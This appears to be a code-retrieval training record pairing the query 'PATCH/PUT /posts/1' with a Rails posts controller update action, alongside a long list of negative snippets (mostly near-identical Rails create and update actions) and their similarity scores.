"def json_post\n @content_type = 'text/plain'\n @render_nothing = true\n @rendered_template = true\n @current_layout = nil\n puts \"json_post: submitting #{params[:path]}\" if @@debug\n path = params[:path]\n if path\n puts \"json_post: path is #{path} l=#{path.length}\" if @@debug\n path = path.split('/').compact()\n path.delete('')\n # you cannot make rooted nodes via json atm... fix? xxx\n if path.length > 1\n name = path.pop\n nodes = Note.make_path @user,path\n puts \"json_post: making at path #{path.join('/')}\" if @@debug\n if nodes\n note = nodes.last.make_child @user,params,name\n puts \"json_post: made child #{note} from #{name} l=#{name.length}\"\n params[:path] = path.join('/') # for call to json_query\n # it is important to do a query rather than returning the note; to get freshest order\n json_query\n return\n #write_json note if note\n end\n end\n end\n render :nothing => true\n end",
"def create\n post_service = PostService.new(current_user, params)\n post_service.create_post\n #post_service.create\n respond_to do |format|\n if post_service.save?\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { redirect_to new_post_url, alert: post_service.errors }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.json { render json: @post, status: :created, location: @post }\n format.xml { render xml: @post, status: :created, location: @post }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n format.xml { render xml: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #raise params.inspect\n \n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @posts = Post.page(params[:page]).order('created_at desc')\n @post = Post.new(post_params)\n @user = User.where('account_id == ?', current_account.id)[0]\n respond_to do |format|\n if @post.save\n format.html { redirect_to '/posts' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :index }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\t\t\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user_post_param\n respond_to do |format|\n if @post.save\n format.html do\n redirect_to @post, notice:\n \"Post was successfully created.\"\n end\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json do\n render json: @post.errors, status:\n :unprocessable_entity\n end\n end\n end\n end",
"def create\n @api_v1_post = Api::V1::Post.new(api_v1_post_params)\n\n respond_to do |format|\n if @api_v1_post.save\n format.html { redirect_to @api_v1_post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_post }\n else\n format.html { render :new }\n format.json { render json: @api_v1_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = current_user.posts.new(params[:post])\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n @post.user_id = current_user.id\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { redirect_to posts_path, flash: { error: @post.errors.full_messages } }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(path, data = {})\n request 'POST', path, body: data.to_json\n end",
"def new\n post = Post.new\n render json: post\n end",
"def create\n @user = current_user\n @post = @user.posts.build(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save?\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Post was successfully created.\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Post was successfully created.\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @post = Post.new(params[:post])\r\n\r\n respond_to do |format|\r\n if @post.save\r\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\r\n format.json { render json: @post, status: :created, location: @post }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @post.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @post = Post.create(post_params)\n set_posts\n respond_to do |format|\n format.js\n format.html\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Post was successfully created.\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, :notice => \"slam\" }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { redirect_to posts_path }\n flash[:alert] = \"shit.\"\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n post\n end",
"def create\n @post = Post.new(content: params[:post][:content], user_id: @user.id)\n respond_to do |format|\n if @post.save\n format.html { redirect_to @user }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { redirect_to @user }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def create\n @post = Post.new(post_params)\n @post.user_id = params[:user_id]\n if @post.save\n render json: @post, meta: { status: :created }, meta_key: 'result', status: :created\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post = current_user.posts.new(post_params.merge(writter: current_user.name))\n\n if @post.save\n render json: {status: 1, id: @post.id.to_s, notice: \"新增成功,标题是:#{@post.title.capitalize}\", number: @post.number, errors: []}\n else\n render json: {status: -1, notice: \"新增失败,请先登录\", errors: @post.errors.full_messages}\n end\n end",
"def create\n puts \"Trying to Create New Post\"\n # Creates new post with given content tied to given userid\n @post = Post.new(post_params) \n if @post.save\n puts \"Post successfully created\"\n response.status=(201)\n render json: {status: \"Success\", message: [\"Post created!\"]}\n else\n # Error handling\n puts \"Something went wrong while creating new Post\"\n puts(@Post.errors.full_messages)\n response.status=(422)\n render json: { status: \"Error\", message: [@post.errors.full_messages]}\n end\n end",
"def create\n @post = current_user.posts.new(post_params)\n respond_to do |format|\n if @post.save\n format.html { redirect_to list_of_posts_post_path(@post.user), notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(*args)\n execute(:post, *args)\n end",
"def post(*args)\n prepare_request(:post, args)\n @@client.add(:post, @path, *args)\n end",
"def create\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = current_user.posts.build(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to new_post_successful_posts_path, notice: 'Anúncio criado com sucesso.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n redirect_to posts_path and return unless Mist.authorized?(:create_post, self)\n coerce_date(params[:post], 'published_at')\n @post = Mist::Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, :notice => 'Post was successfully created.' }\n format.json { render :json => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n redirect_to login_path unless session[:user_id]\n message = 'Post was successfully created.'\n @post = Post.new(post_params)\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: message }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n @post.user = User.find_by_auth_token!(cookies[:auth_token])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = current_user.posts.new(post_params)\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.74469984",
"0.7322041",
"0.7307387",
"0.7123827",
"0.70159745",
"0.70137525",
"0.6984378",
"0.69397914",
"0.69314337",
"0.6905685",
"0.6818554",
"0.6812814",
"0.67935044",
"0.67930967",
"0.6778908",
"0.6778908",
"0.676283",
"0.67605776",
"0.67513967",
"0.6735167",
"0.6698835",
"0.6692432",
"0.6678002",
"0.6649386",
"0.66178477",
"0.6608629",
"0.6576287",
"0.6567172",
"0.6534817",
"0.6524414",
"0.65175104",
"0.6512128",
"0.6512128",
"0.650017",
"0.6487746",
"0.6482588",
"0.64792573",
"0.6478123",
"0.6476098",
"0.6476098",
"0.6476098",
"0.6476098",
"0.6476098",
"0.6476098",
"0.6476098",
"0.64522237",
"0.6443371",
"0.64413214",
"0.64392054",
"0.64307684",
"0.64134574",
"0.64019525",
"0.640183",
"0.63970494",
"0.6395373",
"0.6388034",
"0.6388034",
"0.63799304",
"0.6376455",
"0.6373964",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63711506",
"0.63693273",
"0.6361551",
"0.63509214",
"0.63489044",
"0.6345356",
"0.6313081",
"0.6308628",
"0.63031393",
"0.6300338",
"0.6296645",
"0.6295666",
"0.62950414",
"0.6294858",
"0.629481",
"0.62873447",
"0.6287177",
"0.6283473",
"0.6282179",
"0.6263196"
] | 0.0 | -1 |
PATCH/PUT /posts/1 PATCH/PUT /posts/1.json | def update
respond_to do |format|
if @post.update(post_params)
format.html { redirect_to @post, notice: "Post was successfully updated. #{make_undo_link}" }
format.json { render :show, status: :ok, location: @post }
else
format.html { render :edit }
format.json { render json: @post.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n render json: Post.update(params[\"id\"], params[\"post\"])\n end",
"def update\n respond_with Post.update(params[:id], params[:posts])\n end",
"def update\n @post = Post.find(params[:id])\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.json { render :json => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity}\n end\n end\n #respond_with Post.update(params[:id], params[:post])\n end",
"def update\n respond_with post.update(params[:id], params[:post])\n end",
"def update\n respond_with Post.update(params[:id],post_params)\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(post_params)\n format.json { head :no_content }\n format.xml { head :no_content }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n format.xml { render xml: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @post.update({\n title: post_params[:title],\n content: post_params[:content],\n })\n render json: Post.all.as_json\n else\n render json: {errors: @post.errors.full_messages}, status: :unprocessable_entity\n end\n end",
"def update\n id = Post.find(params[:id])._id\n \n respond_to do |format|\n if ((@post.update_attributes(params[:post])) && (@post._id = id))\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n @post.update_attributes(params[:post])\n format.html { redirect_to posts_url, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n end \n end",
"def update\n respond_to do |format|\n if @api_v1_post.update(api_v1_post_params)\n format.html { redirect_to @api_v1_post, notice: 'Post was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_post }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to posts_path, notice: 'Post was successfully updated.' }\n format.json { render json: @post }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n authenticated\n\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def update\n @api_post = Api::Post.find(params[:id])\n\n if @api_post.update(api_post_params)\n head :no_content\n else\n render json: @api_post.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @post.update(post_params)\n render json: {\n data: @post\n }\n else\n render json: {\n errors: @post.errors\n }\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @api_v2_post = Post.find(params[:id])\n\n respond_to do |format|\n if @api_v2_post.update_attributes(params[:api_v2_post])\n format.html { redirect_to @api_v2_post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_v2_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @post\n\n if @post.save\n render json: @post\n else\n render json: @post.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@post = post.find(params[:id])\n\t\[email protected]_attributes(post_params)\n\t\trespond_to do |format|\n\t\t\tformat.html {redirect_to post_path(@post)}\n\t\t\tformat.json {render json: @post}\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.json { render :show, status: :ok, location: @post }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
